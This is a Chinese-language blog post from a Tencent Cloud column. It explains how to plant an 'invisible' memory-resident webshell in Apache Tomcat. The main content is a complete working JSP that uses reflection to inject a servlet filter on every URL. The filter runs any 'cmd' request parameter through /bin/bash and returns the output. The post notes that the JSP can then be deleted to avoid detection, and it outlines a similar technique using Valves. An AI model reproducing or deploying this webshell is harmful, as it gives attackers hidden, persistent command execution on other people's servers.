前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >免杀与免检测shell网页后门脚本

免杀与免检测shell网页后门脚本

作者头像
全栈工程师修炼指南
发布2020-10-23 16:46:34
6230
发布2020-10-23 16:46:34
举报

[TOC]

Tomcat源代码调试看不见的 Shell

描述: 调试了 tomcat 从接收到一个socket, 到解析socket 并封装成Request 转发至 Jsp/Servlet 的全过程

Step1.运行时动态插入过滤器 描述:需要了解过滤器的基础概念以及作用, Servlet 规范(应该是从3.0 开始)里面本身规定了一个名为ServletContext 的接口,其中有三个重载方法:

代码语言:javascript
复制
#三个方法使得我们可以在运行时动态地添加过滤器。
FilterRegistration.Dynamic addFilter(String filterName,String className)
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)

Tomcat 对 ServletContext 接口的实现类为:org.apache.catalina.core.ApplicationContextFacade真正的组装方法位于org.apache.catalina.core.ApplicationFilterFactory#createFilterChain,组装完成后开始调用过滤器链

因为 Tomcat 在对这个接口的实现中,是只允许在容器还没有初始化完成的时候调用这几个方法。 一旦容器初始化已经结束,调用时就会出现异常:

WeiyiGeek.
WeiyiGeek.

WeiyiGeek.

shell示例:

代码语言:javascript
复制
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "WeiyiGeel";

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);


f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);

if (filterConfigs.get(name) == null) {
   out.println("inject "+ name);
   
   Filter filter = new Filter() {
      @Override
      public void init(FilterConfig arg0) throws ServletException {
         // TODO Auto-generated method stub
      }
      
      @Override
      public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
            throws IOException, ServletException {
         // TODO Auto-generated method stub
         HttpServletRequest req = (HttpServletRequest)arg0;
         if (req.getParameter("cmd") != null) {
            byte[] data = new byte[1024];
            Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
            int len = p.getInputStream().read(data);
            p.destroy();
            arg1.getWriter().write(new String(data, 0, len));
            return;
         } 
         arg2.doFilter(arg0, arg1);
      }
      
      @Override
      public void destroy() {
         // TODO Auto-generated method stub
      }
   };
   
   FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
    
    standardCtx.addFilterDef(filterDef);
   
   FilterMap m = new FilterMap();
   m.setFilterName(filterDef.getFilterName());
   m.setDispatcher(DispatcherType.REQUEST.name());
   m.addURLPattern("/*");
   
   
   standardCtx.addFilterMapBefore(m);
   
   
   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
   constructor.setAccessible(true);
   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
   
   
    filterConfigs.put(name, filterConfig);
    
    out.println("injected");
}
%>
</body>
</html>

访问后如果看到 injected 字样,说明我们的过滤器已经插入成功,随后可以将此 jsp 文件删掉。随后任何带有 cmd 参数的请求都会被此过滤器拦下来,并执行 shell 命令,达到“看不见的 shell”的效果。

Step2.动态插入 Valve Valve 是 Tomcat 中的用于对Container 组件(Engine/Host/Context/Wrapper)进行扩展一种机制。 Tomcat 中 Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的, 通常是多个Valve组装在一起放在Pipeline 里面;

  • Pipeline 就相当于拦截器链
  • valve就相当于拦截器

Valve 接口定义了如下的 invoke 方法:

代码语言:javascript
复制
publicvoid invoke(Request request, Response response)
    throws IOException, ServletException;

我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline 中插入一个我们自定义的 valve,在其中对相应的请求进行拦截并执行我们想要的功能,就可以达到与上面Filter 的方式一样的效果。

两种方式相同点:

  • 利用的时候都必须是通过 HTTP 的方式去真正地发起一个请求;
  • 两种方式都会在 Tomcat 重启后失效
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-10-10 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Tomcat源代码调试看不见的 Shell
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档